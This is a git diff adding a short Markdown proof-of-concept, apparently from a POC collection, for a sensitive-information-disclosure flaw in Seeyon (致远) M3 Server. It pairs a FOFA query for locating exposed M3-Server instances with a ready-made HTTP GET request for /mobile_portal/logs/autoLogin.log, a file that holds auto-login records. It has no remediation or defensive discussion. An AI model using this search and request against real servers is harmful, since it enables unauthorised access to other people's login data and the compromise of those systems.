diff --git a/致远M3敏感信息泄露漏洞.md b/致远M3敏感信息泄露漏洞.md new file mode 100644 index 0000000..ae289bf --- /dev/null +++ b/致远M3敏感信息泄露漏洞.md @@ -0,0 +1,19 @@ +## 致远M3敏感信息泄露漏洞 + + +## fofa +``` +title="M3-Server" +``` + +## poc +``` +GET /mobile_portal/logs/autoLogin.log HTTP/1.1 +Host: x.x.x.x +User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 +Accept-Charset: utf-8 +Accept-Encoding: gzip, deflate +Connection: close +``` + +![e5b392d5ab145b5acba296fcf2ea09c8](https://github.com/wy876/POC/assets/139549762/9e4e58b3-75d0-4f98-974b-391397fba2e4)